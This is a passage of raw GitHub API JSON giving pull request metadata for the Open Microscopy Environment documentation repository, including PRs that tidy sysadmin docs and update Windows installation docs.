ull_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"8679358f62eda2f5c229ba48dad5597bdc427fb5","ref":"10174-fix"},"assignee":null,"updated_at":"2013-01-22T10:10:11Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/212/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/212/commits","closed_at":"2013-01-21T22:24:04Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/212","merged_at":"2013-01-21T22:24:04Z","merge_commit_sha":"8f6c86a6d8b6ef135e03584c4803abe60f34ed6c","created_at":"2013-01-16T11:12:48Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/212/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/212.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/212","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/212.diff","id":3698481,"base":{"user":null,"label":"openmicroscopy:dev_4_4","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"ad0052677c2aee2ffe76de527ea6fb744acdfa55","ref":"dev_4_4"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/211/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/211"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/211"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/211"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/211/comments"}},"title":"Sysadmin docs tidy (rebased onto develop)","state":"closed","number":211,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/211","head":{"user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"label":"hflynn:rebased/develop/sysadmin-docs-tidy","repo":{"forks":0,"svn_url":"https://github.com/hflynn/ome-documentation","merges_url":"https://api.github.com/repos/hflynn/ome-documentation/merges","languages_url":"https://api.github.com/repos/hflynn/ome-documentation/languages","assignees_url":"https://api.github.com/repos/hflynn/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/hflynn/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/hflynn/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/hflynn/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"open_issues":0,"updated_at":"2013-02-01T17:31:59Z","milestones_url":"https://api.github.com/repos/hflynn/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/hflynn/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/hflynn/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/hflynn/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/hflynn/ome-documentation/events","notifications_url":"https://api.github.com/repos/hflynn/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/hflynn/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/hflynn/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/hflynn/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/hflynn/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/hflynn/ome-documentation/collaborators{/collaborator}","full_name":"hflynn/ome-documentation","ssh_url":"git@github.com:hflynn/ome-documentation.git","pulls_url":"https://api.github.com/repos/hflynn/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":0,"subscription_url":"https://api.github.com/repos/hflynn/ome-documentation/subscription","teams_url":"https://api.github.com/repos/hflynn/ome-documentation/teams","watchers":0,"created_at":"2012-09-18T09:22:07Z","git_url":"git://github.com/hflynn/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/hflynn/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/hflynn/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/hflynn/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/hflynn/ome-documentation/keys{/key_id}","size":340,"compare_url":"https://api.github.com/repos/hflynn/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/hflynn/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/hflynn/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/hflynn/ome-documentation/hooks","fork":true,"html_url":"https://github.com/hflynn/ome-documentation","master_branch":"develop","clone_url":"https://github.com/hflynn/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/hflynn/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/hflynn/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/hflynn/ome-documentation/issues/events{/number}","private":false,"id":5853981,"default_branch":"develop","pushed_at":"2013-02-01T17:31:59Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/hflynn/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/hflynn/ome-documentation/forks"},"sha":"1acd446490dbfc637a5c9823ec5d0d04edf5ea8b","ref":"rebased/develop/sysadmin-docs-tidy"},"assignee":null,"updated_at":"2013-01-17T14:18:22Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/211/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/211/commits","closed_at":"2013-01-17T14:18:22Z","user":{"type":"User","url":"https://api.github.com/users/hflynn","received_events_url":"https://api.github.com/users/hflynn/received_events","login":"hflynn","events_url":"https://api.github.com/users/hflynn/events{/privacy}","organizations_url":"https://api.github.com/users/hflynn/orgs","avatar_url":"https://secure.gravatar.com/avatar/0ee126d1abcd3c5b4f178b8d77af95ae?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/hflynn/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/hflynn/gists{/gist_id}","gravatar_id":"0ee126d1abcd3c5b4f178b8d77af95ae","followers_url":"https://api.github.com/users/hflynn/followers","id":2368904,"repos_url":"https://api.github.com/users/hflynn/repos","subscriptions_url":"https://api.github.com/users/hflynn/subscriptions","following_url":"https://api.github.com/users/hflynn/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/211","merged_at":"2013-01-17T14:18:22Z","merge_commit_sha":"fd1ded7a5bb6f9abce17656f957e64547dbe5e0e","created_at":"2013-01-16T10:41:29Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/211/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/211.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/211","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-209 but rebased onto develop.\n\n----\n\nFixing an issue spotted by Kenny and then tidying sysadmin docs re: formatting and style rules.\r\nAlso see ticket 10114\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/211.diff","id":3698059,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"open_issues":3,"updated_at":"2013-02-01T11:04:39Z","milestones_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/events","notifications_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/collaborators{/collaborator}","full_name":"openmicroscopy/ome-documentation","ssh_url":"git@github.com:openmicroscopy/ome-documentation.git","pulls_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":19,"subscription_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/subscription","teams_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/teams","watchers":9,"created_at":"2012-01-17T10:20:53Z","git_url":"git://github.com/openmicroscopy/ome-documentation.git","open_issues_count":3,"labels_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/keys{/key_id}","size":488,"compare_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/hooks","fork":false,"html_url":"https://github.com/openmicroscopy/ome-documentation","master_branch":"develop","clone_url":"https://github.com/openmicroscopy/ome-documentation.git","watchers_count":9,"git_refs_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/events{/number}","private":false,"id":3198415,"default_branch":"develop","pushed_at":"2013-02-01T11:04:38Z","has_issues":true,"mirror_url":null,"trees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/forks"},"sha":"e38561d11128664793c359e81a32be0059a76088","ref":"develop"}},{"_links":{"comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/210/comments"},"issue":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/210"},"html":{"href":"https://github.com/openmicroscopy/ome-documentation/pull/210"},"self":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/210"},"review_comments":{"href":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/210/comments"}},"title":"Update Windows docs (see #10095) (rebased onto develop)","state":"closed","number":210,"url":"https://api.github.com/repos/openmicroscopy/ome-documentation/pulls/210","head":{"user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"label":"bpindelski:rebased/develop/admin-docs-win","repo":{"forks":1,"svn_url":"https://github.com/bpindelski/ome-documentation","merges_url":"https://api.github.com/repos/bpindelski/ome-documentation/merges","languages_url":"https://api.github.com/repos/bpindelski/ome-documentation/languages","assignees_url":"https://api.github.com/repos/bpindelski/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/bpindelski/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/bpindelski/ome-documentation/statuses/{sha}","owner":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"open_issues":0,"updated_at":"2013-01-22T10:13:55Z","milestones_url":"https://api.github.com/repos/bpindelski/ome-documentation/milestones{/number}","archive_url":"https://api.github.com/repos/bpindelski/ome-documentation/{archive_format}{/ref}","stargazers_url":"https://api.github.com/repos/bpindelski/ome-documentation/stargazers","branches_url":"https://api.github.com/repos/bpindelski/ome-documentation/branches{/branch}","events_url":"https://api.github.com/repos/bpindelski/ome-documentation/events","notifications_url":"https://api.github.com/repos/bpindelski/ome-documentation/notifications{?since,all,participating}","comments_url":"https://api.github.com/repos/bpindelski/ome-documentation/comments{/number}","commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/commits{/sha}","subscribers_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscribers","contributors_url":"https://api.github.com/repos/bpindelski/ome-documentation/contributors","collaborators_url":"https://api.github.com/repos/bpindelski/ome-documentation/collaborators{/collaborator}","full_name":"bpindelski/ome-documentation","ssh_url":"git@github.com:bpindelski/ome-documentation.git","pulls_url":"https://api.github.com/repos/bpindelski/ome-documentation/pulls{/number}","issue_comment_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/comments/{number}","blobs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/blobs{/sha}","homepage":"http://openmicroscopy.org","has_wiki":true,"forks_count":1,"subscription_url":"https://api.github.com/repos/bpindelski/ome-documentation/subscription","teams_url":"https://api.github.com/repos/bpindelski/ome-documentation/teams","watchers":0,"created_at":"2012-08-14T09:55:03Z","git_url":"git://github.com/bpindelski/ome-documentation.git","open_issues_count":0,"labels_url":"https://api.github.com/repos/bpindelski/ome-documentation/labels{/name}","downloads_url":"https://api.github.com/repos/bpindelski/ome-documentation/downloads","git_tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/tags{/sha}","keys_url":"https://api.github.com/repos/bpindelski/ome-documentation/keys{/key_id}","size":280,"compare_url":"https://api.github.com/repos/bpindelski/ome-documentation/compare/{base}...{head}","git_commits_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/commits{/sha}","tags_url":"https://api.github.com/repos/bpindelski/ome-documentation/tags{/tag}","hooks_url":"https://api.github.com/repos/bpindelski/ome-documentation/hooks","fork":true,"html_url":"https://github.com/bpindelski/ome-documentation","clone_url":"https://github.com/bpindelski/ome-documentation.git","watchers_count":0,"git_refs_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/refs{/sha}","description":"Sphinx-based documentation for the Open Microscopy Environment ","name":"ome-documentation","language":"Python","contents_url":"https://api.github.com/repos/bpindelski/ome-documentation/contents/{+path}","issue_events_url":"https://api.github.com/repos/bpindelski/ome-documentation/issues/events{/number}","private":false,"id":5411049,"pushed_at":"2013-01-22T10:13:53Z","has_issues":false,"mirror_url":null,"trees_url":"https://api.github.com/repos/bpindelski/ome-documentation/git/trees{/sha}","forks_url":"https://api.github.com/repos/bpindelski/ome-documentation/forks"},"sha":"8003e6d2fb8f85158f922610170ac19d853405d8","ref":"rebased/develop/admin-docs-win"},"assignee":null,"updated_at":"2013-01-16T19:32:02Z","comments_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues/210/comments","commits_url":"https://github.com/openmicroscopy/ome-documentation/pull/210/commits","closed_at":"2013-01-16T19:32:01Z","user":{"type":"User","url":"https://api.github.com/users/bpindelski","received_events_url":"https://api.github.com/users/bpindelski/received_events","login":"bpindelski","events_url":"https://api.github.com/users/bpindelski/events{/privacy}","organizations_url":"https://api.github.com/users/bpindelski/orgs","avatar_url":"https://secure.gravatar.com/avatar/3c0a5e3c2c6d2f8117bbe6e08c930874?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","starred_url":"https://api.github.com/users/bpindelski/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/bpindelski/gists{/gist_id}","gravatar_id":"3c0a5e3c2c6d2f8117bbe6e08c930874","followers_url":"https://api.github.com/users/bpindelski/followers","id":1692189,"repos_url":"https://api.github.com/users/bpindelski/repos","subscriptions_url":"https://api.github.com/users/bpindelski/subscriptions","following_url":"https://api.github.com/users/bpindelski/following"},"issue_url":"https://github.com/openmicroscopy/ome-documentation/issues/210","merged_at":"2013-01-16T19:32:01Z","merge_commit_sha":"9b59862600af4389965d0c3ed7f56321dec584f7","created_at":"2013-01-15T09:55:22Z","review_comments_url":"https://github.com/openmicroscopy/ome-documentation/pull/210/comments","patch_url":"https://github.com/openmicroscopy/ome-documentation/pull/210.patch","html_url":"https://github.com/openmicroscopy/ome-documentation/pull/210","review_comment_url":"/repos/openmicroscopy/ome-documentation/pulls/comments/{number}","milestone":null,"body":"\n\nThis is the same as gh-198 but rebased onto develop.\n\n----\n\nUpdate the output listing of ``bin\\omero admin diagnostics`` and remove any dependency on ``sc.exe`` or ``ntrights.exe``.\n\n ","diff_url":"https://github.com/openmicroscopy/ome-documentation/pull/210.diff","id":3678632,"base":{"user":null,"label":"openmicroscopy:develop","repo":{"forks":19,"svn_url":"https://github.com/openmicroscopy/ome-documentation","merges_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/merges","languages_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/languages","assignees_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/assignees{/user}","url":"https://api.github.com/repos/openmicroscopy/ome-documentation","has_downloads":true,"issues_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/issues{/number}","statuses_url":"https://api.github.com/repos/openmicroscopy/ome-documentation/statuses/{sha}","owner":{"type":"Organization","url":"https://api.github.com/users/openmicroscopy","received_events_url":"https://api.github.com/users/openmicroscopy/received_events","login":"openmicroscopy","events_url":"https://api.github.com/users/openmicroscopy/events{/privacy}","organizations_url":"https://api.github.com/users/openmicroscopy/orgs","avatar_url":"https://secure.gravatar.com/avatar/7424190904f55023bd16416af0fd799b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-org-420.png","starred_url":"https://api.github.com/users/openmicroscopy/starred{/owner}{/repo}","gists_url":"https://api.github.com/users/openmicroscopy/gists{/gist_id}","gravatar_id":"7424190904f55023bd16416af0fd799b","followers_url":"https://api.github.com/users/openmicroscopy/followers","id":975861,"repos_url":"https://api.github.com/users/openmicroscopy/repos","subscriptions_url":"https://api.github.com/users/openmicroscopy/subscriptions","following_url":"https://api.github.com/users/openmicroscopy/following"},"ope